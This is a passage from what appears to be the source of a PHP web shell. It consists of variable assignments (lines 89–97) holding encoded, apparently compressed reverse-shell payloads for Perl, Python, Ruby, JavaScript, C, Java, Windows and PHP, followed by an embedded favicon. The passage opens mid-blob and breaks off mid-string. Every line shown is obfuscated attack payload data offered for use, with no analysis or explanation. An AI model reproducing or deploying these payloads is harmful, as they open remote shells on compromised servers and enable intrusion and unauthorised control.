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";
  89. $s_rs_pl       = "lZLxj5MwGIZ/Xv+KyvU2SLhj80xMVllcGJrlvLHQncY4JQw+BzlGCe3pzG7+7bbIOaIxUX7q9/bL8zZPOHvi3Iva2eSlA+UXXEFdoDOcSVmJseMkPIXLLefbAi4TvnMqZ3P1/NndhcigKBx0LwDPg/GY8eQOJEWEC5d8CtRBZK4B+4rXEq/88MbdS6h3dMlG7mBNlu9m68mAtvcqpE2/yPBFblCUfzY16PvO+arS3Do0tHMvuGFL3zvHzrVBj4hIdwuyqrnkm29lvANzIJNqYFEkmteYzO4vX0Xzhb+y+yzwriO2Cv3pjU2k9fCQ5mBaTdXLafj6reuOrAPqkcolevww/EhRT4DUKF5pFgveRJqiaCyIQv+W+dPZLLRHitJTr0/Vjt6O07SO8tIklT1f6I1ounhvnRp7RS4klGr7qhPGSQKqxrOZ1RQrnGcbjWvcuMZjnPCyhERCui4Ne6j3eAUlZqvZfGEbL/qeQR+D4HZlG5Nu4odhm6Ae7CHByumpPim4ANOz6M8D+3XQ7M6guJ1JMa0Gl0s8pAgdERTiZPTpn0ZJ1k6jZsrdvAQZxZIrX1lHB4nd31ySvHPdmlAOSdyJG23s37SZrbZJnxkWfUxab92oFaejv5v7L2GNJjhobab6e45IfT8A";
  90. $s_rs_py       = "lVRtT9swEP6c/IpgpmGrwaGFaVJZKiEIE9qAqu20D8Cq1LkmEalt2S6Ufz87SV9ATGiqWveee3vOd+f9vWipVTQreQT8KZAvphDc3w8KY6TuRxETGdBciLwCysQiktHs+OvJ46EuoKoiv1xIoUygINTLmVSCgdah0KF+sV/BHsGEplyAL2OE/ML9ZDAPamfMSN/3nE+89aVDIYFjFtYm8UQtbWSTiaV5ZXQ1TBwMSr0Hl/wtSnxPgVkqHjiUNhGpgjTDpLOGbLQdaCENJn5NN2WmFLzhW84DoSlPF7AXI26Qhbx5zOi8rIAL6+F5Vm/LN7DACFb19UyS0XW8MqAWp8NxNz74NPx9MTg4bbUWOq0boIvgsAy+fUYdbRSekw4KBrtCbyvZPFBpcNmfC5s6cDflJM+ol/r0lGWlgD3h7lHvxPHyYMVAmkYrU61rrI3iucpsCViRwVEDeLNYAdWQKlZgxLL7AN/9udcPHYJCFc6rNNfO4Or7ze0oOT8bJ6Rxs4FmbYT2umRqClrqrFR4RnMllhJ3CVnbuAtjxRtlq7ONAZ7hdT9aeEvaOrvRqOdJkZ2kSxOkPKsrsv9dTW0oJ/mbIEE7FpeplZpur3P1NzOD7jnqWJI5GPbsxgMNkJ/Htsk0VfmT395cTuK450Y6zu+6Dz5UO/jxFvcKe/ac3uaHVWlsuXY/Sm6wJL6Om7WhzYFb6exyenWTTNqdouPb8x/T8WSUnF1bF1uYcQohN/bj259TZ7TrMh0lv8bJ2cXFKLQZ35DW1E5ghjE6ovUHhdLdtqZVaUeZ4y+vPFw5btAC2znBOTCDcdF4bIfMLT7VFYB03pumvbdBnm6ag+rHpXkfgn7QxobMNsA1bdP3D8xRZ3dg2vXVxG/9HXP7xKQktg1kji7+F/HuR8TZ/xH/wPxd4oz4fwE=";
  91. $s_rs_rb       = "tVZrb9s2FP1M/QqWySprcaSm6zDMmWL0sQ4FVtRI0w1DlRU2dW0RkUmNpOoUSfbbx5ccu7aTDNhoGJTuPbxP3mPvPcpaJbMJ4xnwz1i2ky/RHq60btQgy6goIZ0JMashpWKeNdnkux+eXRyqCuo6iyT81TIJOFaCXoCObwXNWFd8PIc4ikqYYtXSCxUhCbqVHJ9+ePHHp9Gvz89evzt9m5ZiwelYQTofa1r14rlaMH5tv3PGZ4s4GWrZwmA6rhVEwEtvUcK4tk56SsvEWM7NHiE2xa+ZiRUumdJqGJRGOwrxpBwWTpp2BlItPpnQrGF73EWKdQUcy1ymM9VOelmRZX1SFCTBDhbSkD4ac+j56S+/pTXwma7y/CjCZlnRxyfn+d/Znx+fHP54fnXU//5mPxs2+RuuYQayFxDJwASr3RmVn70cvQf5GaSLk5B+kzgNzVU6phQaD6RpIxnXmLhuYNcNPMBUcA5UQ1lw4nATmDHunuwygXKhQy/wyprm1FaBrQnhEihWzs+0R+CyEVLjs59P3+aXGuT8ePT+KI+L/dHvr4qT+DjojfDY3SVV4UOGi5+Kx9+UuDhx21O/k/7UfpKlN7CNXXXdpbfsMUlJckBOyBpqUZlO49rEPgO9npBdcswUYJBSyBdS2ORr24ySQSGH+9kGPlSnTmkl5k2eE7IBCTBrh5Y4/TZjWyF21Xkd7o5BZqwfx4k3vPNEd3VLMz9UC/ll2KuTnWjvY1mge5CvmDTejeW7gPYy79I9rCNLS7UKZSoWgzvLtC1pX6cHJ3Qf/D9NC3aaevMubUQDvFf3iSTJ1TUT1515JizblAfEzOXBhq+b7c62hP21bPW9e5agaHt77w35LekFuGrlbQYqpbVYyUjlnNVRZ8v3cI3YnjqC3EFsxtEmtR0baZW7t6Nzw7G2gCEgT7ie8dyPh2e8vavqxrEeUg/gOOQJDqE1akMITQ1fOkZD1t3/TWSoy2wZ9OaFMsqOsJQnLCNB95CUix9tYSYU5KtU5GRoN/Gg7tAWmkHd4VVGCcI18vAi1zu37kzY1eUrJtgdRTfIm27XNf/GOQTktulUD5zONadh91v4M7B14FCYNhulnzPz5CYMhfHyk+fAVvIP";
  92. $s_rs_js       = "nVHLasMwEDwrkH8wvliGVIImUEjIqZ/QY/rAkTeWqCy5kpwUQv69kuykebSl2Afh3Zmd3Z2lNOHONXZOKdMlkErrSgJhuqYNXU8fZu93loOUdDzaFiaxTbFTyTIx8NEKAzhjXMjyrTGagbVZTiJh0ZEVuHOqD7O8h6wzUNTnaJc5EZhWVku4aNWlIqVXCZN5SkbXQlHLM4+IDe6nIY0s3EabmtSFYxzT151niTz/rmN1SeATQl3SSRam2nrkKBHCTjT8EQmqcny5nOb78QgFPvdkvxhhfnoHT2C2YPCmVcwJrbCNPGTJzggHOI2G9u3nYUcFzEH5rNKwVNJ/3WpeOJqJI/0ct5xYVwpFDNi2BpxfQ7p1xHdPy8IV6eQ4TYJDnO+P08RocbhVBmMGlv9Vdhz6php1LydSWAcqOr26fwnJw3gE0kJy7f/s5L+98P+xczRY36tM4kVX0yj330Og3y6AfrAeDfQcDTQbDXP58AU=";
  93. $s_rs_c        = "rVJhb9owEP0Mv8JjU+tQFxPaaVJpKqFCJbQVEGSapg1FwTHEqrGj2EzQqf99thMYYdqkSf0Q5e7d8zv73uEmSLXO1A3GRCa0tZJyxWmLyDXO8OLqw/XTpUop5xg0cf0tE4RvEgpulU6YbKV3FShnYnWKJZwtTrCdwnqXUfUnrCR5orqKC6qZ+TATVXwjmFG3GBMarGMmoA3ifEUQSeMcNE3449vc+1mv2YJCBMnA79Zr5qIbYgDTLE6SPGICMAOzJbSHg6Bjj9RYSzERLeM147ug9xANR4Owe8Azmesg1VIoGGvJoOvlzz3vN8Vqt5T7OSaHw1Gv359GvdFXR1NB8V5YqqPZ+P5jNAung94jahcUqi1HZhoqU/4UWYpjRtPB59nA6qEziRR7pnIJZdl/Cd8oj26ZhoXMgonECMCTl4Omd8ZQe+sXLG4GSoXhvXcpCWJCqOvcPlzH6BDUcHsB3F6AG0CkEJRomnwXDdS5LrnJJusYbiXxj5NOIbkzTdewQbd2pCAcTB+Drab5ujuZ+cH5u8mX/t15t6wayISUAGxehFUKLlmjuCuXikJi45d6jXJFwcHOq9e30y6kiwpiZ15M+Znmco8gM2tuprknXPgXx8he+587MJxMpuNwHIX3k72vsBz2X90sN+Gk5nnebft4I5yT6j+cVNXEP05e30lVOPlS/wU=";
  94. $s_rs_java     = "lVRNb9swDD2nQP+DkJM9ZHaTDdjWIsOwYYcBA1osvXXBoMiMrdWWBIn5Qpr/PkqWXXftpQfbEvlEPj5SznNWIRp3medCF5CVWpc1ZEI3uclX7z68v3/rKqjr/PxMNkZbZH/5lmdSZ2+unpoUYLCdn5nNqpaCiZo7x0KMP9Ydz89GxsotR2AOORJgLRWvI8wggz2CKhy7rSzwwuP7Az+U2eACyd4w6a6GrusNPvr0BgMDcrccDCZPz06eHUiPWEmXSTenyGFJxrmPdGpDfbnegrWygEHcrZYFsxuVpIHnCO2hXYxWB4S7JVuxOVOwY2H7cfpptrxq/VIhE+SkPL7MZJVGx66SNSTi8/wiZTHWiFhkOysRktXkYiI6aLCv642rkt70YsxT+LRvwVFUyfe9AINSKwbpETJSUZEWXNzfWi6AwgWwf7XVx3pjx0LZDZcqIf2kKqlQbkvXiuAr8+MQcrd+JpqCeI3zlVS5q8bBJdfJ4uAQmqwEvLHagMVDMtYuU7yBcZqh/ql3YL9xR4QyqQrYX6+T8U6qcerlOcao9Bm3fGO2nbeGgWNhaNklE1opEAjFb9VmH/Rn5wl8pb2LMi60uAdkVexdu42+vsNE39ec1aBKrObzaRyBUbgKc5pVhBJsZrh1QJuAvrtYdj1ZgKV5iqlcl2pgTHygDu25uIwL37Wu2W0/oXbA/iczey2ZVjhpCBtc0+Ug8UAEaSZswOv0shTs4YG9zGd4C0vpy668+gNzP8pPLmipe+zQ3oPJ392QzkQjJcD/Uujgr41C2YA/Hpc0UbAHkdDwpPFfQWrR5E5jwaSzeUZt4ol0CTx69ogu/V/FPGfYw6cZXR/r22dm/fJRxvB6xe2k5/QP";
  95. $s_rs_win      = "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";
  96. $s_rs_php      = "7VVNb+M2ED3bgP+DlhUQCVUsyy6wQFxmL+2xwKIt0MMmFWSKsghLIsuhai+a/PcORcnWOk6yaLe9tDBikzOcx/l4fPn2nSrVbPqVVxqj4CaOmcz5fCvltuJzJutYxZvV229211DyqopnU6611KnmSmojmm2wCNezKXCTGlHztBK1MM4mN6moVSWYMGlRtVAG1jqb+ibTW26oD6kGt14frUD5QVWYQkA8EvVGG+czoMlq9dYu9xlt2qqyS35aQkkJBmNa3s/f//gDPRiu6/X7nxJ6dee//+W726t170bbOt6IJobSuxbEBteUdGV6XZnejcdk03BmeH7XkC5tUQRMto0JhkxDSpPwj9l04ivqH+uY+JgG6RYGMUWT280j9q0CfgljeYYBHxb3Pc7RktwfATO26wG7lIq2YUbIJuUHAQaCK8UaU6WF1LursEcWOT1ZuyFMMLKz0+skxEgTJGOzMy0Gk5IgDimOGEQehGcxQyKYXF+uuxUoGM2zOgXJdsgO4Pp3rgNimEKSLebd54bMfRX5SKlGdj8Y0906xPa0ki22DKKVS8lnZ9gZY1zZE0PG6Dayknu8ENoN7gIkedo2Wc2DMFpEqxDLIHvRuGQnxV4LwwOfRX49x46zPRY6J7ekA5zsS1GhV72htMhwjC7Izqyw48E4d65rlubbtM4MKwMSs/zOCz78egf3X4exQD5jsVqHffzEz3OK+368Ll5AmgsdoCsMWTkse78v6Tg7Z33svnt6GS3qcfm+6kq18yLew4P3jP+3Fv2ht8Gu7tZHPA/v4wdbOV6H72D+9PJR56TLskunYJUEfmzMsHUDsics/JPWu8N+DjTTOvsYLOitWxAlFCcR0SSMknPjHo3LC8YeTWmqtGSpVLzBDMoI8XEQQjk/9uwN9lxzkK1mtlacz+hJjKm4qZBvVvNsOD7TaPHKkeT1I8uXj7DB6zhodDuwzz5+Lgvb44cHt3JXhuFojL7O+mbaDvc59Rf3rDreW6HeBRgQocDia8wiq6wnZosmPSHp7MRiQQtEyDs7g4Grw2D7VvkiHNP1E7whrYugg/MpMnsVdPkS6PKzQB/P+Dti9rB0FX66T872Q7c7Kg52PTyH078HJ6NW5AcZLazIOfKWnYDwBv+OYvg31A7+otrBf17t4LLavSBv8L+8XToCr8sbfKa8wReTN3hGNODflTf4J+TtHPQ5efsimvbu9k8=";
  97. $s_favicon     = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKYSURBVDjLnZPJT1NRFMb5G1wDHV5boNiqdHrvFYolCAtsGSSWKpMFKhYqlDI6oAEKaVJwCIgSphaKtLYWCgSNBgRjMNHoxsSFS3cmJmA0NMTw+R6JKKZl4eJL7sm953fOd3JPHIC4WMpcppG5SGnZc8ZjVVF6QLn975sDgfaZmvg71oRJZIRUYcuAnq/2KWroGfm3QwEn2YpLVPPvOD2oiqj9yq/mGznegl56mx6T7ZbY1M6YAM0CuZkxT0b2Wg6QW/SsApRXDsotR+d6E9Y/h9DuqoCuJq0lKoDxqU1/pITGR27mBU4h+GEcTz5OY+ClA5JbyahYzof/9TBO9B/FcWcqpA4xU3We3GJ87ntnfO5meinMvruNnqcmXA2XoDVcCc0wCYkzBaZpA7ILRJ/2O2B87jA+QT9UeDRe8svZYAG8b/txc6kc9mA+yqayYPQXwvdmBEOrA5B2p0BtFIYOWKCm5RukWwZyXIbA+0F0LpaiKaBHmVsLw4we99ccsM8a8GClF5JOMcQdou8prULrgRmQo7KI0VcE13MrGv06lE5kodhzGvdWu2GdKkTVWC4DcELcJkK